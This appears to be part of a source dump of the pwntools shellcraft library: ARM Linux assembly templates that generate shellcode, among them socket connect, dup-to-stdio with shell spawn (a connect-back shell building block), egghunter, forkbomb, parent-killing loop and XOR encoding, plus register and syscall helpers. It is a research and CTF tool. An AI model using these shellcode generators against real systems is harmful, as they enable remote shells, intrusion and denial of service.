    "content": "<%\n from pwnlib.shellcraft.arm import push, mov, pushstr\n from pwnlib.shellcraft.arm.linux import syscall\n from pwnlib.constants import SOCK_STREAM, SYS_socket, SYS_connect\n from pwnlib.util.net import sockaddr\n%>\n<%page args=\"host, port, network='ipv4'\"/>\n<%docstring>\n    Connects to the host on the specified port.\n    Network is either 'ipv4' or 'ipv6'.\n    Leaves the connected socket in R6.\n</%docstring>\n<%\n    sockaddr, addr_len, address_family = sockaddr(host, port, network)\n%>\\\n/* open new socket */\n    ${syscall(SYS_socket, address_family, SOCK_STREAM, 0)}\n\n/* save opened socket */\n    ${mov('r6', 'r0')}\n\n/* push sockaddr, connect() */\n    ${pushstr(sockaddr, False)}\n    ${syscall(SYS_connect, 'r6', 'sp', addr_len)}\n\n/* Socket that is maybe connected is in r6 */\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/linux/dir.asm",
    "content": "<% from pwnlib.shellcraft import arm, pretty, common %>\n<%page args=\"in_fd = 'r6', size = 0x800, allocate_stack = True\"/>\n<%docstring> Reads to the stack from a directory.\n\nArgs:\n    in_fd (int/str): File descriptor to be read from.\n    size (int): Buffer size.\n    allocate_stack (bool): allocate 'size' bytes on the stack.\n\nYou can optioanlly shave a few bytes not allocating the stack space.\n\nThe size read is left in eax.\n</%docstring>\n<%\n    getdents_loop = common.label('getdents_loop')\n%>\n%if allocate_stack:\n    sub sp, sp, ${pretty(size)}\n%endif\n${getdents_loop}:\n    ${arm.linux.getdents(in_fd, 'sp', size)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/linux/dupio.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft.arm import mov %>\n<%page args=\"sock = 'r6'\"/>\n<%docstring>\nArgs: [sock (imm/reg) = r6]\n    Duplicates sock to stdin, stdout and stderr\n</%docstring>\n<%\n  looplabel = common.label(\"loop\")\n%>\n    /* dup() file descriptor ${sock} into stdin/stdout/stderr */\n        ${mov('r1', 2)}\n        ${mov('r7', 'SYS_dup2')}\n\n${looplabel}:\n        ${mov('r0', sock)}\n        svc 0\n        subs r1, #1\n        bpl ${looplabel}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/linux/dupsh.asm",
    "content": "<% from pwnlib.shellcraft.arm import linux %>\n<%page args=\"sock = 'r6'\"/>\n<%docstring>\nArgs: [sock (imm/reg) = r6]\n    Duplicates sock to stdin, stdout and stderr and spawns a shell.\n</%docstring>\n\n\n${linux.dupio(sock)}\n\n${linux.sh()}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/linux/echo.asm",
    "content": "<% from pwnlib.shellcraft import arm %>\n<%page args=\"string, sock = '1'\"/>\n<%docstring>\nWrites a string to a file descriptor\n\nExample:\n\n    >>> run_assembly(shellcraft.echo('hello\\n', 1)).recvline()\n    b'hello\\n'\n\n</%docstring>\n\n${arm.pushstr(string, append_null = False)}\n${arm.linux.syscall('SYS_write', sock, 'sp', len(string))}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/linux/egghunter.asm",
    "content": "<% from pwnlib.shellcraft.arm import mov %>\n<% from pwnlib.util.packing import unpack %>\n<% from pwnlib import constants %>\n<%page args=\"egg, start_address = 0, double_check = True\"/>\n<%docstring>\n    egghunter(egg, start_address = 0, double_check = True)\n\n    Searches for an egg, which is either a four byte integer\n    or a four byte string. The egg must appear twice in a row\n    if double_check is True.\n    When the egg has been found the egghunter branches to the\n    address following it.\n    If start_address has been specified search will start on the\n    first address of the page that contains that address.\n</%docstring>\n<%\n    if not isinstance(egg, int):\n        if not len(egg) == 4:\n            raise Exception('Egg should be either an integer or a four byte string')\n        egg = unpack(egg)\n%>\negghunter:\n    eor r1, r1, r1\n%if start_address < 1024:\n    mvn r2, r1\n%else:\n    ${mov('r2', (start_address & ~(4096-1)) - 1)}\n%endif\n\n    /* Put egg in r3 */\n    ${mov('r3', egg)}\n\nnext_page:\n    mvn r2, r2, lsr #0x0c\n    mvn r2, r2, lsl #0x0c\n\nnext_byte:\n    add r2, r2, #0x01\n\n%if double_check:\n    add r0, r2, #0x07\n%else:\n    add r0, r2, #0x03\n%endif\n    mov r7, #0x21\n    swi #0\n\n    /* EFAULT = ${constants.linux.arm.EFAULT} means unmapped memory */\n    cmn r0, #${constants.linux.arm.EFAULT}\n    beq next_page\n\n%if double_check:\n    ldm r2, {r4, r5}\n%else:\n    ldm r2, {r4}\n%endif\n\n    cmp r4, r3\n    bne next_byte\n%if double_check:\n    cmp r5, r3\n    bne next_byte\n%endif\n\negg_found:\n%if double_check:\n    add pc, r2, #0x08\n%else:\n    add pc, r2, #0x04\n%endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/linux/forkbomb.asm",
    "content": "<%\n    from pwnlib.shellcraft.arm.linux import fork\n    from pwnlib.shellcraft.common import label\n%>\n<%docstring>\nPerforms a forkbomb attack.\n</%docstring>\n<%\n    dosloop = label('fork_bomb')\n%>\n${dosloop}:\n    ${fork()}\n    b ${dosloop}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/linux/forkexit.asm",
    "content": "<%\n    from pwnlib.shellcraft import common\n    from pwnlib.shellcraft.arm.linux import fork, exit\n%>\n<%page args=\"\"/>\n<%docstring>\nAttempts to fork.  If the fork is successful, the parent exits.\n</%docstring>\n<%\ndont_exit = common.label('forkexit')\n%>\n    ${fork()}\n    cmp r0, 1\n    blt ${dont_exit}\n    ${exit(0)}\n${dont_exit}:\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/linux/killparent.asm",
    "content": "<%\n    from pwnlib.shellcraft.arm.linux import getppid, kill\n    from pwnlib.shellcraft.common import label\n%>\n<%docstring>\nKills its parent process until whatever the parent is (probably init)\ncannot be killed any longer.\n</%docstring>\n<%\n    killparent_loop = label('killparent')\n%>\n${killparent_loop}:\n    ${getppid()}\n    ${kill('r0')}\n    cmp r0, r0\n    beq ${killparent_loop}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/linux/open_file.asm",
    "content": "<%page args=\"filepath, flags = 'O_RDONLY', mode = 0644\"/>\n<%docstring>Opens a file. Leaves the file descriptor in r0.\n\nArgs:\n  filepath(str): The file to open.\n  flags(int/str): The flags to call open with.\n  mode(int/str): The attribute to create the flag. Only matters of ``flags & O_CREAT`` is set.\n</%docstring>\n<%\n  from pwnlib.shellcraft.common import label\n  from pwnlib.asm import cpp\n  from pwnlib.util.safeeval import expr\n  from pwnlib.constants.linux import arm as consts\n  from pwnlib.shellcraft import pretty\n  filepath_lab, after = label(\"filepath\"), label(\"after\")\n  filepath_out = [hex(ord(c)) for c in filepath]\n  while True:\n      filepath_out.append(\"0\")\n      if len(filepath_out) % 4 == 0:\n          break\n  filepath_out = ', '.join(filepath_out)\n\n  if isinstance(mode, int):\n      mode = hex(mode)\n%>\n%if expr(cpp(\"%s & O_CREAT\" % flags, arch = 'arm', os = 'linux')):\n    mov r2, #(${mode})\n%endif\n    mov r1, #(${flags})\n    adr r0, ${filepath_lab}\n    svc SYS_open\n    b ${after}\n\n    /* The string ${pretty(str(filepath), False)} */\n${filepath_lab}: .byte ${filepath_out}\n\n${after}:\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/linux/setresuid.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft.arm import mov, linux %>\n<%page args=\"ruid=None, euid=None, suid=None\"/>\n<%docstring>\nArgs: [ruid = geteuid(), euid = ruid, suid = ruid]\n    Sets real, effective and saved user ids to given values\n</%docstring>\n\n%if ruid is None:\n${linux.geteuid()}\n<% ruid = 'r0' %>\n%endif\n<%\n if euid is None: euid = ruid\n if suid is None: suid = ruid\n%>\n\n${linux.syscalls.setresuid(ruid, euid, suid)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/linux/sh.asm",
    "content": "<% from pwnlib.shellcraft import arm %>\n<%docstring>\nExecute a different process.\n\n    >>> p = run_assembly(shellcraft.arm.linux.sh())\n    >>> p.sendline(b'echo Hello')\n    >>> p.recv()\n    b'Hello\\n'\n\n</%docstring>\n    ${arm.linux.execve('/bin///sh', ['sh'], 0)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/linux/syscall.asm",
    "content": "<%\n  from pwnlib.shellcraft import arm, pretty\n  from pwnlib.constants import Constant\n  from pwnlib.abi import linux_arm_syscall as abi\n%>\n<%page args=\"syscall = None, arg0 = None, arg1 = None, arg2 = None, arg3 = None, arg4 = None, arg5 = None, arg6 = None\"/>\n<%docstring>\nArgs: [syscall_number, \\*args]\n    Does a syscall\n\nAny of the arguments can be expressions to be evaluated by :func:`pwnlib.constants.eval`.\n\nExample:\n\n    >>> print(shellcraft.arm.linux.syscall(11, 1, 'sp', 2, 0).rstrip())\n        /* call syscall(0xb, 1, 'sp', 2, 0) */\n        mov  r0, #1\n        mov  r1, sp\n        mov  r2, #2\n        eor  r3, r3 /* 0 (#0) */\n        mov  r7, #0xb\n        svc  0\n    >>> print(shellcraft.arm.linux.syscall('SYS_exit', 0).rstrip())\n        /* call exit(0) */\n        eor  r0, r0 /* 0 (#0) */\n        mov  r7, #SYS_exit /* 1 */\n        svc  0\n    >>> print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip())\n        /* open(file='/home/pwn/flag', oflag=0, mode=0) */\n        /* push b'/home/pwn/flag\\x00A' */\n        movw r7, #0x41006761 & 0xffff\n        movt r7, #0x41006761 >> 16\n        push {r7}\n        movw r7, #0x6c662f6e & 0xffff\n        movt r7, #0x6c662f6e >> 16\n        push {r7}\n        movw r7, #0x77702f65 & 0xffff\n        movt r7, #0x77702f65 >> 16\n        push {r7}\n        movw r7, #0x6d6f682f & 0xffff\n        movt r7, #0x6d6f682f >> 16\n        push {r7}\n        mov  r0, sp\n        eor  r1, r1 /* 0 (#0) */\n        eor  r2, r2 /* 0 (#0) */\n        /* call open() */\n        mov  r7, #SYS_open /* 5 */\n        svc  0\n</%docstring>\n<%\n  if isinstance(syscall, (str, Constant)) and str(syscall).startswith('SYS_'):\n      syscall_repr = str(syscall)[4:] + \"(%s)\"\n      args = []\n  else:\n      syscall_repr = 'syscall(%s)'\n      if syscall is None:\n          args = ['?']\n      else:\n          args = [pretty(syscall, False)]\n\n  for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:\n      if arg is None:\n          args.append('?')\n      else:\n          args.append(pretty(arg, False))\n  while args and args[-1] == '?':\n      args.pop()\n  syscall_repr = syscall_repr % ', '.join(args)\n\n  registers = abi.register_arguments\n  arguments = [syscall, arg0, arg1, arg2, arg3, arg4, arg5]\n  regctx    = dict(zip(registers, arguments))\n%>\\\n    /* call ${syscall_repr} */\n%if any(arguments):\n    ${arm.setregs(regctx)}\n%endif\n    svc  0\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/memcpy.asm",
    "content": "<% from pwnlib.shellcraft import arm, pretty, common %>\n<%docstring>Copies memory.\n\nArgs:\n    dest: Destination address\n    src: Source address\n    n: Number of bytes\n</%docstring>\n<%page args=\"dest, src, n\"/>\n<%\nmemcpy_loop = common.label(\"memcpy_loop\")\n%>\n    /* memcpy(${pretty(dest)}, ${pretty(src)}, ${pretty(n)}) */\n    ${arm.setregs({'r0': dest, 'r1': src, 'r2': n})}\n${memcpy_loop}:\n    ldrb r3, [r1], #1\n    strb r3, [r0], #1\n    subs r2, r2, #1\n    bgt ${memcpy_loop}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/mov.asm",
    "content": "<%\n  from pwnlib.shellcraft import common, eval, pretty, okay\n  from pwnlib.constants import Constant\n  from pwnlib.log import getLogger\n  from pwnlib.shellcraft.registers import arm as regs\n  from pwnlib.util import fiddling\n  log = getLogger('pwnlib.shellcraft.arm.mov')\n%>\n<%page args=\"dst, src\"/>\n<%docstring>\nMove src into dest.\n\nSupport for automatically avoiding newline and null bytes has to be done.\n\nIf src is a string that is not a register, then it will locally set\n`context.arch` to `'arm'` and use :func:`pwnlib.constants.eval` to evaluate the\nstring. Note that this means that this shellcode can change behavior depending\non the value of `context.os`.\n\nExamples:\n\n    >>> print(shellcraft.arm.mov('r0','r1').rstrip())\n        mov  r0, r1\n    >>> print(shellcraft.arm.mov('r0', 5).rstrip())\n        mov  r0, #5\n    >>> print(shellcraft.arm.mov('r0', 0x34532).rstrip())\n        movw r0, #0x34532 & 0xffff\n        movt r0, #0x34532 >> 16\n    >>> print(shellcraft.arm.mov('r0', 0x101).rstrip())\n        movw r0, #0x101\n    >>> print(shellcraft.arm.mov('r0', 0xff << 14).rstrip())\n        mov  r0, #0x3fc000\n    >>> print(shellcraft.arm.mov('r0', 0xff << 15).rstrip())\n        movw r0, #0x7f8000 & 0xffff\n        movt r0, #0x7f8000 >> 16\n    >>> print(shellcraft.arm.mov('r0', 0xf00d0000).rstrip())\n        eor  r0, r0\n        movt r0, #0xf00d0000 >> 16\n    >>> print(shellcraft.arm.mov('r0', 0xffff00ff).rstrip())\n        mvn  r0, #(0xffff00ff ^ (-1))\n    >>> print(shellcraft.arm.mov('r0', 0x1fffffff).rstrip())\n        mvn  r0, #(0x1fffffff ^ (-1))\n\nArgs:\n  dest (str): ke destination register.\n  src (str): Either the input register, or an immediate value.\n</%docstring>\n<%\nif not dst in regs:\n    log.error('%r is not a register' % str(dst))\n\n\n# ARM has a mov-const-with-shift\n# As long as the const fits in 8 bits, everything works out :)\ndef get_imm8_shift_ok(v):\n    v_bits = fiddling.bits(v)\n    retval = 0\n\n    if v == 0:\n        return 1\n\n    trailing_zeroes = v_bits[::-1].index(1)\n    leading_zeroes  = v_bits.index(1)\n    width           = len(v_bits) - leading_zeroes - trailing_zeroes\n\n    if width > 8:\n      return 0\n\n    retval = v >> trailing_zeroes\n\n    if width > 8 \\\n    or not okay(retval, bits=8) \\\n    or (width == 8 and 0 != (trailing_zeroes % 2)):\n        return 0\n\n    return retval\n\nif not src in regs:\n    src = eval(src)\n    srcu = src & 0xffffffff\n    srcn = fiddling.negate(src + 1)\n    positive_imm8_shift = get_imm8_shift_ok(srcu)\n    negative_imm8_shift = get_imm8_shift_ok(srcn)\n\n%>\n%if src == dst:\n    /* mov ${dst}, ${src} */\n%elif not isinstance(src, int):\n    mov  ${dst}, ${src}\n%else:\n    %if src == 0:\n    eor  ${dst}, ${dst} /* ${src} (${'#%x' % src}) */\n    %elif positive_imm8_shift:\n    mov  ${dst}, #${pretty(src)}\n    %elif src & 0x0000ffff == src:\n    movw ${dst}, #${pretty(src)}\n    %elif negative_imm8_shift:\n    mvn  ${dst}, #(${pretty(src)} ^ (-1))\n    %elif src > 0 and srcu & 0xffff0000 == src:\n    eor  ${dst}, ${dst}\n    movt ${dst}, #${pretty(src)} >> 16\n    %elif src > 0:\n    movw ${dst}, #${pretty(src)} & 0xffff\n    movt ${dst}, #${pretty(src)} >> 16\n    %else:\n    movw ${dst}, #${pretty(src)} >> 00 & 0xffff\n    movt ${dst}, #${pretty(src)} >> 16 & 0xffff\n    %endif\n%endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/nop.asm",
    "content": "<%docstring>A nop instruction.</%docstring>\n    orr r1, r1, r1\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/push.asm",
    "content": "<% from pwnlib import constants %>\n<% from pwnlib.util import lists, packing, fiddling %>\n<% from pwnlib.shellcraft.arm import mov %>\n<%page args=\"word, register='r12'\"/>\n<%docstring>\nPushes a 32-bit integer onto the stack.  Uses r12 as a temporary register.\n\nr12 is defined as the inter-procedural scartch register ($ip),\nso this should not interfere with most usage.\n\nArgs:\n    word (int, str):\n        The word to push\n    tmpreg (str):\n        Register to use as a temporary register.  R7 is used by default.\n\n</%docstring>\n    ${mov(register,word)}\n    push {${register}}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/pushstr.asm",
    "content": "<% from pwnlib.util import lists, packing, fiddling %>\n<% from pwnlib.shellcraft.arm import push %>\n<% from pwnlib.shellcraft import pretty %>\n<%page args=\"string, append_null = True, register='r7'\"/>\n<%docstring>\nPushes a string onto the stack.\n\nArgs:\n    string (str): The string to push.\n    append_null (bool): Whether to append a single NULL-byte before pushing.\n    register (str): Temporary register to use.  By default, R7 is used.\n\nExamples:\n\n    >>> print(shellcraft.arm.pushstr(\"Hello!\").rstrip())\n        /* push b'Hello!\\x00A' */\n        movw r7, #0x4100216f & 0xffff\n        movt r7, #0x4100216f >> 16\n        push {r7}\n        movw r7, #0x6c6c6548 & 0xffff\n        movt r7, #0x6c6c6548 >> 16\n        push {r7}\n\n</%docstring>\n<%\n    if isinstance(string, str):\n        string = string.encode('utf-8')\n\n    if append_null:\n        string += b'\\x00'\n\n    while len(string) % 4:\n        string += b'\\x41'\n%>\\\n    /* push ${pretty(string, False)} */\n% for word in packing.unpack_many(string, 32)[::-1]:\n    ${push(word, register)}\n% endfor\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/pushstr_array.asm",
    "content": "<% from pwnlib.shellcraft import arm, pretty %>\n<%docstring>\nPushes an array/envp-style array of pointers onto the stack.\n\nArguments:\n    reg(str):\n        Destination register to hold the pointer.\n    array(str,list):\n        Single argument or list of arguments to push.\n        NULL termination is normalized so that each argument\n        ends with exactly one NULL byte.\n</%docstring>\n<%page args=\"reg, array\"/>\n<%\nif isinstance(array, (str)):\n    array = [array]\n\narray_str = ''\n\n# Normalize all of the arguments' endings\narray      = [arg.rstrip('\\x00') + '\\x00' for arg in array]\narray_str  = ''.join(array)\n\nword_size = 4\noffset = len(array_str) + word_size\n\n%>\\\n    /* push argument array ${pretty(array, False)} */\n    ${arm.pushstr(array_str)}\n    ${arm.push(0)} /* null terminate */\n% for i,arg in enumerate(reversed(array)):\n    ${arm.mov(reg, offset + word_size*i - len(arg))}\n    add ${reg}, sp\n    ${arm.push(reg)} /* ${pretty(arg, False)} */\n    <% offset -= len(arg) %>\\\n% endfor\n    ${arm.mov(reg,'sp')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/ret.asm",
    "content": "<% from pwnlib.shellcraft import arm %>\n<%docstring>A single-byte RET instruction.\n\nArgs:\n    return_value: Value to return\n\nExamples:\n\n    >>> with context.local(arch='arm'):\n    ...     print(enhex(asm(shellcraft.ret())))\n    ...     print(enhex(asm(shellcraft.ret(0))))\n    ...     print(enhex(asm(shellcraft.ret(0xdeadbeef))))\n    1eff2fe1\n    000020e01eff2fe1\n    ef0e0be3ad0e4de31eff2fe1\n</%docstring>\n<%page args=\"return_value = None\"/>\n\n% if return_value is not None:\n    ${arm.mov('r0', return_value)}\n% endif\n\n    bx lr\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/setregs.asm",
    "content": "<%\n  from pwnlib.regsort import regsort\n  from pwnlib.constants import Constant, eval\n  from pwnlib.shellcraft import registers\n  from pwnlib.shellcraft.arm import mov\n%>\n<%page args=\"reg_context, stack_allowed = True\"/>\n<%docstring>\nSets multiple registers, taking any register dependencies into account\n(i.e., given eax=1,ebx=eax, set ebx first).\n\nArgs:\n    reg_context (dict): Desired register context\n    stack_allowed (bool): Can the stack be used?\n\nExample:\n\n    >>> print(shellcraft.setregs({'r0':1, 'r2':'r3'}).rstrip())\n        mov  r0, #1\n        mov  r2, r3\n    >>> print(shellcraft.setregs({'r0':'r1', 'r1':'r0', 'r2':'r3'}).rstrip())\n        mov  r2, r3\n        eor  r0, r0, r1 /* xchg r0, r1 */\n        eor  r1, r0, r1\n        eor  r0, r0, r1\n</%docstring>\n<%\nreg_context = {k:v for k,v in reg_context.items() if v is not None}\nsorted_regs = regsort(reg_context, registers.arm)\n%>\n% if not sorted_regs:\n  /* setregs noop */\n% else:\n% for how, dst, src in regsort(reg_context, registers.arm):\n% if how == 'xchg':\n    eor  ${dst}, ${dst}, ${src} /* xchg ${dst}, ${src} */\n    eor  ${src}, ${dst}, ${src}\n    eor  ${dst}, ${dst}, ${src}\n% else:\n    ${mov(dst, src)}\n% endif\n% endfor\n% endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/to_thumb.asm",
    "content": "<%\n  from random import choice\n  from pwnlib.shellcraft import registers\n%>\n<%docstring>Go from ARM to THUMB mode.</%docstring>\n<%page args=\"reg=None, avoid = []\"/>\n<%\n    if reg:\n        pass\n    elif not avoid or 'r3' not in avoid:\n        reg = 'r3'\n    else:\n        # Avoid registers we don't want to clobber, and r0\n        # since it will encode a NULL.\n        avoid = set(avoid) | {'r0', 'sp', 'pc', 'cpsr', 'lr'}\n        reg   = next(r for r in registers.arm if r not in avoid)\n%>\n    .arm\n    add ${reg}, pc, #1\n    bx  ${reg}\n    .thumb\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/trap.asm",
    "content": "<%docstring>A trap instruction.</%docstring>\n    BKPT\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/udiv_10.asm",
    "content": "<%\n  from pwnlib.shellcraft import common\n  from pwnlib.shellcraft import arm\n%>\n<%page args=\"N\"/>\n<%docstring>\nDivides r0 by 10.  Result is stored in r0, N and Z flags are updated.\n\nCode is from generated from here:\n    https://raw.githubusercontent.com/rofirrim/raspberry-pi-assembler/master/chapter15/magic.py\n\nWith code:\n    python magic.py 10 code_for_unsigned\n</%docstring>\n    /* r0 = ${N} / 10 */\n    ${arm.setregs({'r0': N, 'r1': 0xcccccccd})}\n    umull r1, r2, r1, r0   /* r1 <- Lower32Bits(r1*r0). r2 <- Upper32Bits(r1*r0) */\n    movs r0, r2, LSR #3     /* r0 <- r2 >> 3 */\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/xor.asm",
    "content": "<%\n  from pwnlib.shellcraft import pretty, common, arm, registers\n  from pwnlib.shellcraft.registers import arm as regs\n  from pwnlib.util.packing import pack, unpack\n  from pwnlib.context import context as ctx\n  from pwnlib.log import getLogger\n%>\n<%page args=\"key, address, count\"/>\n<%docstring>\nXORs data a constant value.\n\nArgs:\n    key (int,str): XOR key either as a 4-byte integer,\n                   If a string, length must be a power of two,\n                   and not longer than 4 bytes.\n    address (int): Address of the data (e.g. 0xdead0000, 'rsp')\n    count (int): Number of bytes to XOR.\n\nExample:\n\n    >>> sc  = shellcraft.read(0, 'sp', 32)\n    >>> sc += shellcraft.xor(0xdeadbeef, 'sp', 32)\n    >>> sc += shellcraft.write(1, 'sp', 32)\n    >>> io = run_assembly(sc)\n    >>> io.send(cyclic(32))\n    >>> result = io.recvn(32)\n    >>> expected = xor(cyclic(32), p32(0xdeadbeef))\n    >>> result == expected\n    True\n</%docstring>\n<%\nlog = getLogger('pwnlib.shellcraft.templates.arm.xor')\n\n# By default, assume the key is a register\nkey_size   = ctx.bytes\nkey_pretty = key\n\nif not key in regs:\n    key_str = key\n    key_int = key\n\n    if isinstance(key, int):\n        key_str = pack(key, bytes=4)\n    else:\n        key_int = unpack(key, 'all')\n\n    if len(key_str) > ctx.bytes:\n        log.error(\"Key %s is too large (max %i bytes)\" % (pretty(key), ctx.bytes))\n\n    if len(key_str) not in (1,2,4):\n        log.error(\"Key length must be a power of two (got %s)\" % pretty(key))\n\n    key_size = len(key_str)\n    key_pretty = pretty(key_int)\n\nif count == 0 or key_size == 0:\n    return '/* noop xor */'\n\nstart = common.label('start')\n\n## Set up the register context\nregctx = {'r0': count, 'r1': address, 'r2': key_int}\n%>\n    /* xor(${pretty(key)}, ${pretty(address)}, ${pretty(count)}) */\n    ${arm.setregs(regctx)}\n    add r0, r0, r1\n${start}:\n    ldr r3, [r1]\n    eor r3, r3, r2\n    str r3, [r1]\n    add r1, r1, ${key_size}\n    cmp r1, r0\n    blt  ${start}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/__doc__",
    "content": "Shellcraft module containing shellcode common to all platforms.\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/freebsd/__doc__",
    "content": ""
  },
  {
    "path": "pwnlib/shellcraft/templates/common/label.asm",
    "content": "<%page args=\"prefix = 'label'\"/>\n<%docstring>\nReturns a new unique label with a given prefix.\n\nArgs:\n  prefix (str): The string to prefix the label with\n</%docstring>\n<%!\n    label_num = 0\n%>\n<%\n   global label_num\n   label_num += 1\n%>\n${prefix}_${label_num}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/__doc__",
    "content": ""
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/kill.asm",
    "content": "<% from pwnlib import shellcraft %>\n<%page args=\"pid, signal = 'SIGKILL'\"/>\n<%docstring>kill(pid, sig) -> str\n\nInvokes the syscall kill.\n\nSee 'man 2 kill' for more information.\n\nArguments:\n    pid(pid_t): pid\n    sig(int): sig\nReturns:\n    int\n</%docstring>\n\n    ${shellcraft.linux.syscall('SYS_kill', pid, signal)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/sleep.asm",
    "content": "<%\n  import pwnlib.abi\n  from pwnlib import shellcraft\n%>\n<%page args=\"seconds\"/>\n<%docstring>\nSleeps for the specified amount of seconds.\n\nUses SYS_nanosleep under the hood.\nDoesn't check for interrupts and doesn't retry with the remaining time.\n\nArgs:\n  seconds (int,float): The time to sleep in seconds.\n</%docstring>\n<%\n  # struct timespec {\n  #     time_t  tv_sec;  /* Seconds */\n  #     long    tv_nsec; /* Nanoseconds */\n  # };\n  tv_sec = int(seconds)\n  tv_nsec = int((seconds % 1) * 1000000000)\n\n  abi = pwnlib.abi.ABI.syscall()\n  stack = abi.stack\n%>\n    /* sleep(${seconds}) */\n    ${shellcraft.push(tv_nsec)}\n    ${shellcraft.push(tv_sec)}\n    ${shellcraft.nanosleep(stack, 0)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/__doc__",
    "content": ""
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/_llseek.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>_llseek(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall _llseek.\n\nSee 'man 2 _llseek' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS__llseek']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS__llseek'])\n%>\n    /* _llseek(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/_newselect.asm",
